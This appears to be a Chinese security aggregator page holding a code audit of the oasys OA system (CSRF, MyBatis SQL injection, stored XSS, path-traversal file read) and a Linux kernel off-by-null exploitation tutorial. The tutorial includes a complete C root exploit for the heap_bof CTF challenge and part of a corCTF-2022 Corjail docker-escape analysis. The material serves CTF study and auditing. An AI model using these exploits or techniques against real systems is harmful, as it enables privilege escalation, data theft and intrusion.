Aggregator
PbootCMS V3.2.9前台SQL注入漏洞(上)
How to Stop Your Scripts from Crashing with Try-Catch Magic
oasys系统代码审计
oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。
下载地址:https://github.com/misstt123/oasys
此项目部署极为简单,我使用的是phpstudy的5.7版本mysql,修改application.properties配置,在IDEA导入oasys.sql数据后,就可以直接运行
并访问后台地址:http://localhost:8088/logins
注意别端口冲突
CSRF:登录后台,在用户面板处,修改便签功能存在csrf漏洞。
点击修改,抓包,点击生成CSRF的Poc:
将生成Poc的URL复制到浏览器,访问:
访问后,发现已经按照Poc上内容进行了修改:
SQL注入: 代码分析:在pom文件发现采用mybatis依赖:
全局搜索${
找到outtype参数,定位到xml文件:
符合sql注入条件,于是开始找对应接口,参数,全局搜索allDirector字段:
定位到接口层,于是找接口实现类,发现无,于是全局搜索该接口名称,找哪里引用了此接口:
发现AddController层引用该接口,并通过mapper进行数据库操作,在该controller层搜索原接口方法,定位到具体代码块:
可以看到该参数没有经过任何过滤,于是根据代码块注释进行漏洞复现:
在后台找到通讯录,找到外部通讯录,点击添加联系人:
抓包找到对应数据包:
将localhost换成自己对应的IP,放入sqlmap验证成功:
其实从最初的xml文件来看,其它几个参数也存在sql注入。
存储XSS:登录后台后,用户处点击修改信息,插入xss代码造成弹窗。
根据提交保存的接口全局搜索:
找到相关信息,根据代码分析,无任何过滤直接存储,造成xss漏洞:
此后台很多地方也均无过滤,可以直接插入xss代码执行。
任意文件读取漏洞:
在控制层UserpanelController处,如下代码存在逻辑错误导致任意文件读取:
可以看出此代码块是用来处理图像请求,并将数据返回到http响应的代码。
这段代码我初看并没看懂,于是对代码进行详细分析:
红框代码逻辑很简单,先传入的f.getPath()值,再通过FileInputStream进行文件读取并返回到http响应。
关键就是f.getPath()的值怎么来的?
如上红框代码,f.getPath()的值来自于rootpath与path的拼接,而path的值则是,先通过request.getRequestURI()获取,再将/image替换为空得来。
但rootpath的值呢?
于是我在该类搜索rootpath找到其定义代码:
发现以@Value注解定义rootpath的值,而@Value注解的作用就是从项目配置文件中获取信息,于是转到配置文件,搜索关键字:rootpath
继续回到controller代码,此时找到rootpath的值,也明白了读取文件的逻辑,于是尝试构造多个/image..路径读取我D盘upload下的文件:
如下图,读取成功:
oasys系统代码审计
Linux kernel 堆溢出利用方法(二)
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。
off by null我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?
利用思路boot.sh
#!/bin/bashqemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 1G \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=2 \
--nographic
poll系统调用
/** @fds: pollfd类型的一个数组
* @nfds: 前面的参数fds中条目的个数
* @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);
poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。
struct pollfd {int fd;
short events;
short revents;
};
struct poll_list {
struct poll_list *next; // 指向下一个poll_list
int len; // 对应于条目数组中pollfd结构的数量
struct pollfd entries[]; // 存储pollfd结构的数组
};
poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000。
poll_list 分配/释放
do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。
#define POLL_STACK_ALLOC 256#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd))
[...]
static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
struct timespec64 *end_time)
{
struct poll_wqueues table;
int err = -EFAULT, fdcount, len;
/* Allocate small arguments on the stack to save memory and be
faster - use long to make sure the buffer is aligned properly
on 64 bit archs to avoid unaligned access */
/*
* [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
*/
long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
struct poll_list *const head = (struct poll_list *)stack_pps;
struct poll_list *walk = head;
unsigned long todo = nfds;
if (nfds > rlimit(RLIMIT_NOFILE))
return -EINVAL;
/*
* [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
*/
len = min_t(unsigned int, nfds, N_STACK_PPS);
for (;;) {
walk->next = NULL;
walk->len = len;
if (!len)
break;
if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
goto out_fds;
todo -= walk->len;
if (!todo)
break;
/*
* [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
* 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
* 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
*/
len = min(todo, POLLFD_PER_PAGE);
/*
* [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
*/
walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);
if (!walk) {
err = -ENOMEM;
goto out_fds;
}
}
poll_initwait(&table);
/*
* [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
* 这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
*/
fdcount = do_poll(head, &table, end_time);
poll_freewait(&table);
if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
goto out_fds;
for (walk = head; walk; walk = walk->next) {
struct pollfd *fds = walk->entries;
int j;
for (j = walk->len; j; fds++, ufds++, j--)
unsafe_put_user(fds->revents, &ufds->revents, Efault);
}
user_write_access_end();
err = fdcount;
out_fds:
walk = head->next;
while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct poll_list *pos = walk;
walk = walk->next;
kfree(pos);
}
return err;
Efault:
user_write_access_end();
err = -EFAULT;
goto out_fds;
}
我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。
详细流程
-
首先分配 kmalloc-4096 大小的结构题在ptr[0];
-
然后构造这样的poll_list结构体。
-
利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。
-
等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。
-
提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr。
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199
char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx; // 表示 ptr 数组的 索引
};
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_shell(void) {
system("/bin/sh");
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/*--------------------------------------------------------------------------------------------------*/
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef unsigned long long u64;
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
int key_alloc(int id, void *payload, int payload_len) {
char description[0x10] = {};
sprintf(description, "pwn_%d", id);
return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int id, void *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
int key_read(int id, void *bufer, size_t buflen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
int key_revoke(int id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
int key_unlink(int id) {
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
/*--------------------------------------------------------------------------------------------------*/
pthread_t tid[40];
typedef struct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
void* alloc_poll_list(void *args) {
int nfds = ((poll_args *) args)->nfds;
int timer = ((poll_args *) args)->timer;
struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
poll(pfds, nfds, timer);
}
void* create_poll_list(size_t size, int timer, int i) {
poll_args *args = calloc(1, sizeof(poll_args));
args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
args->timer = timer;
pthread_create(&tid[i], NULL, alloc_poll_list, args);
}
/*--------------------------------------------------------------------------------------------------*/
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
/*--------------------------------------------------------------------------------------------------*/
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;
size_t kernel_offset;
void get_root() {
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
/*--------------------------------------------------------------------------------------------------*/
int main() {
save_status();
signal(SIGSEGV, (void *) get_shell);
bof_fd = open("dev/bof", O_RDWR);
int seq_fd[SEQ_NUM];
printf("[*] try to alloc_kmalloc-4096\n");
size_t* mem = malloc(0x1010);
memset(mem, '\xff', 0x1010);
struct param p = {0x1000, (char*)mem, 0};
ioctl(bof_fd, BOF_MALLOC, &p);
printf("[*] try to spary kmalloc-32\n");
p.len = 0x20;
for (int i = 1; i < 20; ++i)
{
p.idx = i;
memset(mem, i, 0x20);
memset(mem, 0, 0x18);
ioctl(bof_fd, BOF_MALLOC, &p);
ioctl(bof_fd, BOF_EDIT, &p);
}
printf("[*] try to alloc_poll_list\n");
for (int i = 0; i < 14; ++i)
{
create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
}
printf("[*] try to spary kmalloc-32\n");
p.len = 0x20;
for (int i = 20; i < 40; ++i)
{
p.idx = i;
memset(mem, i, 0x20);
memset(mem, 0, 0x18);
ioctl(bof_fd, BOF_MALLOC, &p);
ioctl(bof_fd, BOF_EDIT, &p);
}
sleep(1);
// 调试用代码
// p.len = 0x1010;
// p.idx = 0;
// ioctl(bof_fd, BOF_READ, &p);
// printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
p.len = 0x1001;
p.idx = 0;
memset(mem, '\x00', 0x1001);
ioctl(bof_fd, BOF_EDIT, &p);
void *res;
for (int i = 0; i < 14; ++i)
{
printf("[*] wating for poll end\n");
pthread_join(tid[i], &res);
}
for (int i = 0; i < 256; ++i)
{
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}
sleep(1);
for (int i = 1; i < 40; ++i)
{
p.idx = i;
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
mem[0] = (size_t*)get_root;
mem[1] = (size_t*)get_root;
mem[2] = (size_t*)get_root;
mem[3] = (size_t*)get_root;
ioctl(bof_fd, BOF_EDIT, &p);
}
for (int i = 1; i < 40; ++i)
{
p.idx = i;
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
}
for (int i = 0; i < 256; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
} corCTF-2022:Corjail 题目分析
我们可以使用 Guestfish 工具读取和修改 qcow2 文件。
run_challenge.sh
#!/bin/shqemu-system-x86_64 \
-m 1G \
-nographic \
-no-reboot \
-kernel bzImage \
-append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
-hda coros.qcow2 \
-snapshot \
-monitor /dev/null \
-cpu qemu64,+smep,+smap,+rdrand \
-smp cores=4 \
--enable-kvm
init脚本
查看服务进程/etc/systemd/system/init.service;
Description=Initialize challenge[Service]
Type=oneshot
ExecStart=/usr/local/bin/init
[Install]
WantedBy=multi-user.target
查看 /usr/local/bin/init 脚本;
cat /usr/local/bin/init#!/bin/bash
USER=user
FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
useradd --create-home --shell /bin/bash $USER
echo "export PS1='\[33[01;31m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]# '" >> /root/.bashrc
echo "export PS1='\[33[01;35m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ '" >> /home/$USER/.bashrc
chmod -r 0700 /home/$USER
mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG
password
❯ guestfish --rw -a coros.qcow2><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......
root_shell
查看root用户的/usr/local/bin/jail;
><fs> cat /usr/local/bin/jail#!/bin/bash
echo -e '[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
/usr/bin/docker run -it --user user \
--hostname CoRJail \
--security-opt seccomp=/etc/docker/corjail.json \
-v /proc/cormon:/proc_rw/cormon:rw corcontainer
/bin/bash
/usr/sbin/poweroff -f
发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。
为了方便调试,我们可以使用edit将其修改为:
><fs> edit /usr/local/bin/jail><fs> cat /usr/local/bin/jail
#!/bin/bash
echo -e '[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
cp /exploit /home/user || echo "[!] exploit not found, skipping"
chown -R user:user /home/user
echo 0 > /proc/sys/kernel/kptr_restrict
/usr/bin/docker run -it --user root \
--hostname CoRJail \
--security-opt seccomp=/etc/docker/corjail.json \
# 允许容器能够调用与日志相关的系统调用
--cap-add CAP_SYSLOG \
# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
-v /proc/cormon:/proc_rw/cormon:rw \
# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
-v /home/user/:/home/user/host \
corcontainer
/bin/bash
/usr/sbin/poweroff -f
edit 的用法和 vim 一样。
后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:
><fs> help uploadNAME
upload - upload a file from the local machine
SYNOPSIS
upload filename remotefilename
DESCRIPTION
Upload local file filename to remotefilename on the filesystem.
filename can also be a named pipe.
See also "download".
kernel_patch
diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
/*
* Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
* macros to work correctly.
*/
-#define SYSCALL_DEFINE0(sname) \
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
static long __do_sys_##sname(const struct pt_regs *__unused); \
__X64_SYS_STUB0(sname) \
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
#include <linux/key.h>
#include <linux/personality.h>
#include <trace/syscall.h>
+#include <asm/syscall.h>
#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
@@ -202,8 +203,8 @@
}
#endif
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname) \
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
asmlinkage long sys_##sname(void); \
ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \
@@ -219,9 +220,41 @@
#define SYSCALL_DEFINE_MAXARGS 6
-#define SYSCALL_DEFINEx(x, sname, ...) \
- SYSCALL_METADATA(sname, x, __VA_ARGS__) \
- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
+ return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \
+ } \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+ static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \
+ return __count_sys_##sname(); \
+ } \
+ static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...) \
+ SYSCALL_METADATA(sname, x, __VA_ARGS__) \
+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \
+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \
+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_DECLARE0(sname) \
+ __SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_FUNC0(sname)
#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
return NULL;
}
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
{
if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@
return syscalls_metadata[nr];
}
+EXPORT_SYMBOL(syscall_nr_to_meta);
const char *get_syscall_name(int syscall)
{
@@ -122,6 +123,7 @@
return entry->name;
}
+EXPORT_SYMBOL(get_syscall_name);
static enum print_line_t
print_syscall_enter(struct trace_iterator *iter, int flags,
其中
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。
seccomp.json 保存了系统调用的白名单。
{"defaultAction": "SCMP_ACT_ERRNO",
"defaultErrnoRet": 1,
"syscalls": [
{
"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
"action": "SCMP_ACT_ALLOW"
},
{
"names": [ "clone" ],
"action": "SCMP_ACT_ALLOW",
"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
}
]
}
根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。
root@CoRJail:/# cat /proc_rw/cormonCPU0 CPU1 CPU2 CPU3 Syscall (NR)
9 16 25 18 sys_poll (7)
0 0 0 0 sys_fork (57)
66 64 79 60 sys_execve (59)
0 0 0 0 sys_msgget (68)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)
0 0 0 0 sys_ptrace (101)
15 19 11 6 sys_setxattr (188)
27 24 11 20 sys_keyctl (250)
0 0 2 2 sys_unshare (272)
0 1 0 0 sys_execveat (322)
也可以指定系统调用。
root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormonroot@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall (NR)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)
src.c
可以看到 write 存在明显的off-by-null。
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos){
loff_t offset = *ppos;
char *syscalls;
size_t len;
if (offset < 0)
return -EINVAL;
if (offset >= PAGE_SIZE || !count)
return 0;
len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;
syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
if (!syscalls)
{
printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
return -ENOMEM;
}
if (copy_from_user(syscalls, ubuf, len))
{
printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
return -EFAULT;
}
syscalls[len] = '\x00';
if (update_filter(syscalls))
{
kfree(syscalls);
return -EINVAL;
}
kfree(syscalls);
return count;
} 利用思路
在 poll_list 利用方式中:
-
先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。
这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。
-
然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object。
-
触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload。
-
然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF。
详细流程如下:
首先,我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
void bind_core(bool fixed, bool thread) {cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}
喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。
此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。
通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。
注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。
static longsetxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
[...]
if (size) {
[...]
kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
if (!kvalue)
return -ENOMEM;
// 修改kmalloc-x内容
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
[...]
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue); // 释放kmalloc-x
return error;
}
另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。
喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。
struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object 。
释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object。
